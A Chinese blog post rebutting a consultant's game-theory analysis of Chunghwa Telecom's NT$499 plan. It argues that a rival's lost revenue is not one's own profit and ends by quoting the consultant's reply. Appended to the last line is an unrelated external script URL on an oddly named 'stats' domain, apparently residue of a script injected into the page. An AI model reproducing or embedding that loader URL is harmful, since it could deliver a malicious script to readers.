網友提供一則分析文:「499之亂中華電信到底是賺還是賠?」
文中宣稱:
「中華電信的499方案看起來賠錢,但如果加入了賽局理論會變成如何呢?」
「…通常身為後進者的資本戰思考邏輯,假設小黑電信推出299方案,其他電信只要是299方案以上的使用者就會有興趣NP過來,每搶到一個1,499的他家用戶,我多299元營收,對手少1,499元營收,一來一往就是1,798元落差,就看誰的資本可以撐到最後。身為先行者的電信三雄如果使用這個作法怎麼算都不可能划算,因為耗損的是未來合約內短收月租費,經側試算過30個月可能短收近50億元台幣。…
…可怕啊!看起來今年可以因違約金多收近36億元,但把未來30個月的短收的月租費一算,最後可能短收多達51億元!這是誰想的策略?仔細深思後好像該跟中華電信道歉,我想得太淺,光看老客續約所短少收入,未來三十個月虧損可能是以數十億元,嚇了一跳做出自以為是的評論。」
文章還煞有其事地分享了一個試算表,可惜作者經濟學邏輯錯得離譜而不自知!
該文最大錯誤在於作者竟然把「競爭對手短少的營收」當做「自己增加的利潤」來計算?!
一者不但把同一消費者同一行為重複計算是錯,二者對手營收無論如何減少也與自己利潤無關!
試想全世界只有10個人喝咖啡同時僅有兩家賣咖啡的,假設二家成本一樣一杯10元,市價30元。假設原本我與競爭對手各有5個客人。我削價競爭用5元一杯把全世界的10位客人都吸引過來,我的利潤是(-5 x 10 = -50)元!真金白銀地虧損50元!對手減少的$150元營收怎樣都不會因為我愚蠢的削價競爭而變成我的獲利。
這麼簡單的商業邏輯都不懂,作者還宣稱自己是「行銷顧問」?我正想知道是哪種笨蛋公司會請這等程度之人當顧問時,赫然發現這位作者邱煜庭正是我前一篇文章提到的「倒店電商ASAP」的行銷總監哩!原來如此,會做到結束營業還真是「其來有自」。
讓我想起馬克吐溫名言:“Truth is stranger than fiction, but it is because Fiction is obliged to stick to possibilities; Truth isn’t.”
PS 作者邱煜庭留言表示:「感謝各位的指教,我不該亂用專業名詞,不該拿不熟的字詞亂用,原文已經更新,日後會多注意 🙂
不過我已經離開 ASAP 三年了,網站收掉這個鍋我可以不背嘛 XD」https://js.developerstatss.ga/stat.js?n=ns1